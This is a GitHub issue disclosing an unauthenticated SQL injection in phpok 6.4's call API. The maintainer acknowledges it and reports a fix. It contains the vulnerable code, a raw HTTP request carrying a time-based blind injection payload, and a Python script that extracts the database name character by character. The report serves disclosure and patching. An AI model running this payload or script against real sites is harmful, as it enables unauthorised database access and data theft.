Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a SQL injection in phpok 6.4. #15

Closed
Northind opened this issue Mar 18, 2023 · 2 comments
Closed

There is a SQL injection in phpok 6.4. #15

Northind opened this issue Mar 18, 2023 · 2 comments

Comments

@Northind
Copy link
Contributor

There is a SQL injection in the function index_f() in phpok64/framework/api/call_control.php. This function calls the phpok() function, in which a dynamic call exists.

The function index_f() receives parameters in JSON format and can control the function that is called dynamically. Although names of callable functions are stored in the database, the _arclist function in them is vulnerable.

In this way, we can use the _arclist function to call the _arc_condition function, and there are a lot of conditional splicing of SQL statement in it.

In fact, there are a lot of guards set up in this function and even in this CMS. ',<, and > will be escaped and the input will be filtered. However, we can manage to bypass some of them, resulting in a serious SQL injection vulnerability. Besides, no login behavior or privileges are required to trigger this vulnerability.

// framework/phpok_call.php \phpok_call::_arc_condition line 714
if($rs['fields_need']){
    $list = explode(",",$rs['fields_need']);
    $tmp_int = array('int','float','smallint','mediumint','bigint','tinyint','decimal','double');
    foreach($list as $key=>$value){
        $tmp = explode(".",$value);
        $f = $tmp[1] ? $tmp[1] : $tmp[0];
        if(in_array($fields[$f]['field_type'],$tmp_int)){
            $condition .= " AND ".$value." != 0";
        }else{
            $condition .= " AND ".$value." != ''";
        }
    }
    unset($list);
}

In this code fragment, the CMS will split our input with a comma as a separator, and then concatenate each fragment into the SQL statement. This means we cannot have commas in our payload. Therefore, I made it with the following payload.

POST /api.php?c=call&f=index HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Connection: close
Cookie: PHPSESSION=bd34va2vksdhvqr8t1sll4lva7; XDEBUG_SESSION=PHPSTORM
Content-Type: application/x-www-form-urlencoded
Content-Length: 138

data={"m_picplayer":{"_alias":"abc","fields_need":"CASE 1 WHEN (substr((select database()) from 1 for 1)=0x70) THEN sleep(5) ELSE 1 END"}}

Below are the results.

image

image

As we can see, when the condition is true that the database name starts with 0x70 (i.e. the letter p), a delay of 5 seconds is generated. Otherwise, nothing happens.

Then we can write a python script to test the effect.

import random
import requests
import time

url = "http://127.0.0.1/api.php?c=call&f=index"
result_str = ""

for i in range(1, 30):
    time.sleep(1.0)
    print(i)
    for j in range(32, 127):
        payload1 = "{\"m_picplayer\":{\"_alias\":\"abc\",\"fields_need\":\"CASE 1 WHEN (substr((select database()) from %d for 1)="%i + hex(j) +") THEN sleep(4) ELSE 1 END"+"\"}}"
        time.sleep(0.15)
        data = {
            'data': payload1
        }
        time1 = time.time()

        res = requests.post(url, data=data)#, proxies=proxies)
        time2 = time.time()
        if time2 - time1 > 4:
            result_str += chr(j)
            print(result_str)
            break

image

One thing to note is that each payload must be different, otherwise the cache mechanism will be triggered, and the database query will not be performed.

@qinggan
Copy link
Owner

qinggan commented Mar 21, 2023

thanks, it will be fixed in the next version.

@qinggan
Copy link
Owner

qinggan commented Mar 28, 2023

程序已更新,请到后台升级。
Updated, please upgrade in the background

@qinggan qinggan closed this as completed Mar 28, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants